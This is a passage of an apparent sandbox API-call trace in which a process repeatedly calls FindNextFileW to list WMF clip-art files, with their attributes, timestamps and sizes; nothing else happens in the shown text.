lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8867900, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8867900, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18185_.WMF", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50bd100, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe50bd100, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x758, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18187_.WMF", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c95f00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84c95f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18189_.WMF", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18190_.WMF", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x171d3300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x171d3300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xc9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18191_.WMF", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6432a00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb6432a00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18192_.WMF", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd07d0800, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd07d0800, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18193_.WMF", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e33800, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29e33800, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0xdde, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18194_.WMF", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4404e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf4404e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18196_.WMF", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18197_.WMF", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18198_.WMF", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fdb1800, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fdb1800, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18199_.WMF", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd302000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfd302000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18200_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c3c400, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3c3c400, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18201_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18202_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f586200, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f586200, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18203_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7db3a00, ftCreationTime.dwHighDateTime=0x1bddcb2, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7db3a00, ftLastWriteTime.dwHighDateTime=0x1bddcb2, nFileSizeHigh=0x0, nFileSizeLow=0x814, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18204_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58631200, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58631200, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18205_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd5a600, ftCreationTime.dwHighDateTime=0x1bddc9f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4dd5a600, ftLastWriteTime.dwHighDateTime=0x1bddc9f, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18206_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5e8e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf5e8e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18207_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f714100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f714100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x1b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18208_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96603600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x96603600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18209_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28673f00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28673f00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18210_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18211_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85941c00, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85941c00, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18212_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1638d100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1638d100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x704, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18213_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0d7900, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6c0d7900, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18214_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b613000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2b613000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18215_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cab3c00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cab3c00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x726, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18216_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded1d00, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ded1d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1552, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18217_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fcec000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8fcec000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1212, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18218_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f247600, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f247600, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x1136, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18219_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aadf500, ftCreationTime.dwHighDateTime=0x1bddca5, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2aadf500, ftLastWriteTime.dwHighDateTime=0x1bddca5, nFileSizeHigh=0x0, nFileSizeLow=0x213c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18220_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0346a00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0346a00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x72c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18221_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5a99400, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb5a99400, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18222_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee4c100, ftCreationTime.dwHighDateTime=0x1bddb92, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ee4c100, ftLastWriteTime.dwHighDateTime=0x1bddb92, nFileSizeHigh=0x0, nFileSizeLow=0xc5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18223_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9730600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa9730600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18224_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2357bf00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2357bf00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18225_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d10e600, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d10e600, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18226_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e4fd00, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83e4fd00, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18227_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337000, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb337000, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x884, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18228_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3405b200, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3405b200, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18229_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2cd000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xef2cd000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x724, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18230_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa3500, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcfa3500, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18231_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4763d200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4763d200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18232_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76a200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5a76a200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18233_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eba9f00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6eba9f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x754, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18234_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, 